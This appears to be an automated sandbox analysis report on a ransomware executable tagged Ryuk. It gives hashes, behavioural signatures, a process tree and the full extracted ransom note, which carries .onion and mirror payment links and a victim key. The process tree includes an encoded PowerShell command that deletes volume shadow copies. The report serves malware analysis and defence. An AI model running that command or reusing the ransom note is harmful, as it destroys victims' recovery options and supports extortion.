Overview

overview

10

Static

static

10

d96523adca...ad.exe

windows7_x64

10

d96523adca...ad.exe

windows10_x64

10

Analysis

  • max time kernel
    154s
  • max time network
    163s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 00:55

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General

  • Target

    d96523adcad0746c5decc919941772faecca1805bb3bab2ccdf73549a4ffa9ad.exe

  • Size

    114KB

  • MD5

    99fbd0f7c06b13125e9632244bc1aef4

  • SHA1

    11b9e375b38237d4261ea0f5b45fbe816b4b30dd

  • SHA256

    d96523adcad0746c5decc919941772faecca1805bb3bab2ccdf73549a4ffa9ad

  • SHA512

    2d6611559e20deeec2cb727511429fde4629f5f2e7e7041774b9a9460756eefa929c0ca18e161361f7458c2716ffe8ce49789e4e4f9f55e7101feff91fc8fdab

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\drv2oj-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension drv2oj. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4109A5B9C9D66715 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/4109A5B9C9D66715 Warning: secondary website can be blocked, thats why first variant much better and more available. If you have problem with connect, use strictly TOR version 8.5.5 link for download TOR version 8.5.5 here: https://filehippo.com/download_tor_browser_for_windows/ When you open our website, put the following data in the input form: Key: wK7QXY2L2waJOX2TH5VGgIz89JBW3fBLWXtpSxRG12G+TCS9B6aOyNjfoP1KL50n mOPld7e9X9nkaPi3bLqjTxoVa7+6EGUoSI0/xwlgfL/Va8+EBzGA2IDM/8JFkjR1 kZxQIcmh7XdmTbbTgjX81PW5jZyK66cUWMkSbE73wNllA1jiVAIAMTdnWICTUD8A vKQxGhBYQIJz2OOG+nP2c3ylsH0USoXVy6wUd1HylWwVhFhe3dfGZXqbFfYXRlGx 6Lw9DwGFnyi23cYFMgs0VKjPoiVNpZsmEI8R1r2H6/y48JcB3IyVrhTzV3ztJX7M maedvzQjCW4YXix7RyUXKzIKUoJwnTrM1XAMliXwFt+ga211T1YsURI6YJhDTrRN PxWElxF/T2yEqlFCpjrs4OXuMXD235EHvM7uE3m3ZMIIuIogi2blf+PrAKIFoXbz wO5aOKPE0M/aRboqHkv2NPBiBvtgUuHD3rA4LFn4WFPgpzRsCSLGsOWxa13snvWF DAXzbO3mJfhoLU68FMo1QV8JDdS7q3HD2coN6OSJiFSF57xY7I4/a+xFxzXqu3Fh 5XnPL3h1F41WLXpMEUFu2BgBbLJdxgzhW8dW/tBGHOj8CIplJ/MEXhTC3lOtNIbs RhQRhDwRIIr6GyL3ltft899heAeqqRBUJlNrK9Vu1ApUYP17q5TPM9xYg5tgTRGQ s/6P2t2cySjys+T6XshYqTh4jb5iNoP/QL4YsOel0lc3sRxbUZcEccW2eB0moQgB XHuEk3Xrp6WTvbDgtTMz/J9tT7pk93yBsTtcWVL/pkIpG0FtPTpur6j8L0mOcySL L9PfSeBeSYd4ZtBraUrAbDfB4ClKgvX1rbLGssYvjbV9BfLZISAe6ztMlaczO0xr AES/REGwhgKeFWOUGzogsbCChDD7xrAvsL2zFIxZAh7Yz4S3Ma2Gh9LKXpRw6EkP bS5FhqpCAhxGjzNVLMOIOJufiJodGpGnVJoCYBlUouYIxV4gPdL9uwTgljlQs9QQ I4IPVN2gYKkIHhEzHwx46rZ9HtggyQsftE50MR3VdsC8TQg6U5PBOgXz9DzrS7OE HosM38Q2zJKohb+4srBQo01dUPjbWUk/xAZhAUWwfGOYqZ41AjwI3WACPtF90uFw apZJinf6Ua+ciPun4Wpv3l+0skET5dEgub7YDobEMuV4FC3BjO41T+lxw0dbDVDo vTJXoPEnEoFuifqKgak3YCf1YrnCINrJEt/QrGGvZX3cvSTD05S56Uo2qh7O1EFh fCT95SMEdZGreGPIc+Cfyw== Extension name: drv2oj ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4109A5B9C9D66715

http://decryptor.cc/4109A5B9C9D66715

https://filehippo.com/download_tor_browser_for_windows/

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 26 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d96523adcad0746c5decc919941772faecca1805bb3bab2ccdf73549a4ffa9ad.exe
    "C:\Users\Admin\AppData\Local\Temp\d96523adcad0746c5decc919941772faecca1805bb3bab2ccdf73549a4ffa9ad.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4028
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4360
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:3668
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1212

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/4360-123-0x0000019D7C970000-0x0000019D7C992000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4360-126-0x0000019D7D710000-0x0000019D7D786000-memory.dmp

      Filesize

      472KB

      Download

    • memory/4360-129-0x0000019D7CB70000-0x0000019D7CB72000-memory.dmp

      Filesize

      8KB

      Download

    • memory/4360-131-0x0000019D7CB73000-0x0000019D7CB75000-memory.dmp

      Filesize

      8KB

      Download